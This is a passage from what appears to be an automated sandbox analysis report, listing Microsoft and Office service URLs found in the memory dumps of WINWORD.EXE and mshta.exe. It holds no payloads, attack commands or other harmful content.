Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/e7
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://entitlement.diagnostics.office.com
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://entitlement.diagnostics.office.comOLj
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://entity.osi.office.net/t
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: WINWORD.EXE, 00000001.00000003.292178195.00000000108E6000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417572350.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571214526.000000001087D000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.418070806.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571431149.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://graph.ppe.windows.net
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.418070806.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571431149.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://graph.ppe.windows.net/
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.418070806.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571431149.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://graph.windows.net
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.418070806.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571431149.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://graph.windows.net/
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://hubble.officeapps.live.com
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://hubble.officeapps.live.comGJb
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: WINWORD.EXE, 00000001.00000003.417572350.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571214526.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292128544.0000000010877000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292417505.000000001087F000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3dMBI_SSL_SHORTofficeapps.live.com
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: WINWORD.EXE, 00000001.00000003.292178195.00000000108E6000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417572350.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571214526.000000001087D000.00000004.00000001.sdmp String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571452806.0000000010A0E000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415190999.0000000010A0A000.00000004.00000001.sdmp String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571452806.0000000010A0E000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415190999.0000000010A0A000.00000004.00000001.sdmp String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?I0e
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://incidents.diagnostics.office.com
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: WINWORD.EXE, 00000001.00000003.292178195.00000000108E6000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417572350.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571214526.000000001087D000.00000004.00000001.sdmp String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=ImmersiveApp
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=ImmersiveAppHomeR
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: WINWORD.EXE, 00000001.00000002.569111011.000000000CFC2000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: WINWORD.EXE, 00000001.00000002.569111011.000000000CFC2000.00000004.00000001.sdmp String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebookdll
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickrb
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: WINWORD.EXE, 00000001.00000002.569111011.000000000CFC2000.00000004.00000001.sdmp String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive~
Source: WINWORD.EXE, 00000001.00000003.417572350.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571214526.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292128544.0000000010877000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292417505.000000001087F000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech9
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://lifecycle.office.com
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://lifecycle.office.comP
Source: mshta.exe, 00000007.00000002.312828178.0000000009EDF000.00000004.00000001.sdmp, mshta.exe, 00000007.00000003.310080125.0000000009EDF000.00000004.00000001.sdmp, mshta.exe, 00000007.00000003.309434578.0000000009EDF000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://login.microsoftonline.com/
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorizew
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.418070806.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571431149.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://login.windows.local
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: WINWORD.EXE, 00000001.00000002.571191483.0000000010861000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417530932.0000000010865000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/au
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize#~
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize$
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize%
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize%EG
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize&F
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize(
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize)
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize.
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize/a
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize3
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize4
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize4EV
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize5FW
